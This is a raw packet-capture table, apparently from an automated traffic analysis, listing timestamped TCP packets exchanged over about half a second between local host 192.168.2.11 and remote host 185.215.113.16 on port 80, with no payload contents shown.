Dec 27, 2024 09:02:41.700376987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.701447010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.701555967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.701603889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.702661991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.702913046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.702959061 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.703886986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.703980923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.704031944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.705080986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.705095053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.705140114 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.706223965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.706346035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.706396103 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.707365036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.707516909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.707562923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.708578110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.708678961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.708725929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.709752083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.709876060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.709927082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.711076021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.711090088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.711133957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.712178946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.712239027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.712289095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.713314056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.713470936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.713515043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.714575052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.714703083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.714752913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.715667009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.715827942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.715878010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.716842890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.716965914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.717012882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.718012094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.718190908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.718262911 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.719186068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.719336987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.719382048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.720367908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.720551968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.720643044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.721599102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.721676111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.721724033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.722774982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.722928047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.722978115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.724015951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.724081993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.724132061 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.725222111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.725235939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.725284100 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.726368904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.726495981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.726541042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.727525949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.727694035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.727741003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.728676081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.728835106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.728874922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.729885101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.730031967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.730083942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.731055975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.731205940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.731261969 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.732239962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.732436895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.732479095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.733414888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.733700991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.733746052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.734663010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.734781981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.734827042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.735778093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.735929966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.735980034 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.737013102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.737076998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.737257004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.738171101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.738343954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.738405943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.739362001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.739444971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.739499092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.740164995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.740375042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.740427017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.741482973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.741518974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.741563082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.742614985 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.742723942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.742774963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.743700981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.793289900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.883915901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.883930922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.883943081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.883954048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.883996964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.884027004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.884929895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.885128021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.886003971 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.886174917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.886245012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.887320042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.887363911 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.887411118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.887667894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.888560057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.888638020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.889693975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.889745951 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.889870882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.889921904 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.894002914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894013882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894027948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894040108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894073963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.894099951 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.894318104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894484997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894826889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894845963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.894871950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.894896030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.895688057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.895704985 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.895749092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.896806002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.896894932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.896940947 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.897991896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.898004055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.898068905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.899377108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.899389982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.899439096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.900408030 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.901510000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.901524067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.901571035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.902566910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.903110981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.903124094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.903158903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.903171062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.904771090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.904786110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.904824972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.905133009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.905144930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.905184984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.906292915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.906392097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.906434059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.907649994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.907768011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.907809973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.908668041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.908804893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.909645081 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.909796953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.909957886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.909996986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.910957098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.911134958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.911173105 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.912168026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.912334919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.912470102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.913356066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.913420916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.913475037 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.914571047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.914635897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.914690018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.915721893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.915843964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.916125059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.916968107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.917155027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.917212963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.918128014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.918227911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.918577909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.922416925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.922430038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.922441006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.922447920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.922491074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.922744989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.922888994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.922931910 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.924035072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.924046993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.924093962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.925168991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.925316095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.925369024 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.926297903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.926435947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.926486015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.927499056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.927656889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.927817106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.927831888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.927859068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.927870035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.928822994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.928895950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.928939104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.930084944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.930098057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.930229902 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.931126118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.931339025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.931380987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.932372093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.932384968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.932449102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.933577061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.933717012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.933762074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.934722900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.934824944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.934885979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.935946941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.936024904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.936100006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.937110901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.937218904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.937278032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.938254118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.938380957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.939577103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.939594984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.939630032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.939654112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.940685987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.940754890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.940813065 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.944511890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.944812059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.944827080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.944840908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.944853067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.944864988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.944878101 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.945094109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.946167946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.946223974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.084655046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.084681988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.084853888 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.084965944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.085107088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.086105108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.086184025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.086380959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.086925030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.087371111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.087402105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.087778091 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.088557005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.088664055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.088800907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.092456102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.092472076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.092483044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.092494011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.092524052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.092561960 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.093178988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.093250990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.093293905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.093339920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.093481064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.094518900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.094594955 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.094613075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.095665932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.095721960 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.095788956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.095827103 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.096844912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.097095013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.097148895 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.098051071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.098273039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.098334074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.099205017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.099365950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.099600077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.100416899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.100423098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.100470066 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.101589918 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.101754904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.101803064 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.102816105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.102870941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.103389025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.103946924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.104027987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.104410887 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.105129004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.105268002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.105318069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.106326103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.106436968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.106492043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.107490063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.107620001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.107669115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.108737946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.108927965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.108975887 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.109899998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.110117912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.110616922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.111057997 CET	80	49768	185.215.113.16	192.168.2.11
